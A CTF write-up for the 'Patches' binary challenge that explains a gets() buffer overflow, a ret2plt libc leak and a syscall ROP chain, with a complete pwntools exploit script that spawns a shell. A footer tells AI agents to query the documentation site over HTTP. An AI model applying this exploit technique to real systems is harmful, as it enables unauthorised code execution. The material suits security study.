# Patches

The binary comes with a libc and ld. As the title, description and even text of the binary suggests, the libc is patched. I patched the ELF file so that it would always run with this ld and libc, even on my local end.

```
patchelf --set-rpath './' ./patches
patchelf --set-interpreter './ld-2.27.so' ./patches
```

The binary prints some stuff using puts, calls printf("> ") and then calls gets on rbp-0x80.

This creates a buffer overflow. With NX on this time, it'll be a little more difficult. We can execute a classic ret2plt attack, retting into puts\@plt(no PIE) to print out puts\@got, creating a libc leak. Things are a little harder as the libc is patched. There's no /bin/sh in it, presumably the system doesn't work properly. We talked about this in the Statics and Dynamics writeup from HacktivityCon CTF - with so much code, libc is a ROP gadget gold mine. So once we've used ret2plt to leak the libc base, we can just use ROP to build a chain that uses syscalls to pop a shell.

Note that due to stack alignment we'll need to use a return gadget before returning back into main, and also I chose the instruction at 0x40123c(which is part of main) for convenience.

We can use the pwntools ROP functionality to build a nice and simple ROP chain that reads data into a writeable section, then uses execve(execve(section,NULL,NULL) specifically). Afterwards, we'll send /bin/sh which will get written to said writeable section, thus the total payload will pop a shell.

## Flag: flag{no\_one\_gadget\_this\_time\_wait\_no\_binsh\_at\_all?}

```python
from pwn import *
NUM_TO_RBP = 0x80
fakestack = 0x404500
padding = b'A'*NUM_TO_RBP + p64(fakestack)
context.arch = 'amd64'
e = ELF("./patches")
libc = e.libc
p = e.process() if args.LOCAL else remote('challenge.ctf.games', 30585)
p.recvuntil('> ')
rop = ROP(e)
#ret2plt libc leak
poprdi = rop.find_gadget(['pop rdi','ret']).address
retgadget = rop.find_gadget(['ret']).address
chain = flat(poprdi, e.got['puts'],e.plt['puts'],retgadget,0x000000000040123c)
pause()
p.sendline(padding + chain)
leak = p.recvline()[:-1].ljust(8,b'\x00')
puts = u64(leak)
log.info(f"Libc leak: {hex(puts)}")
libcbase = puts - libc.symbols['puts']
libc.address = libcbase
log.info(f"Libc base: {hex(libcbase)}")
# Build rop chain to read into RW section, then execve
rop2 = ROP(libc)
rop2.read(0,0x404300,8)
rop2.execve(0x404300,0,0)
payload = padding + rop2.chain()
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-winrars.gitbook.io/writeups/2020-writeups/bsidesbos/binary-exploitation/patches.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
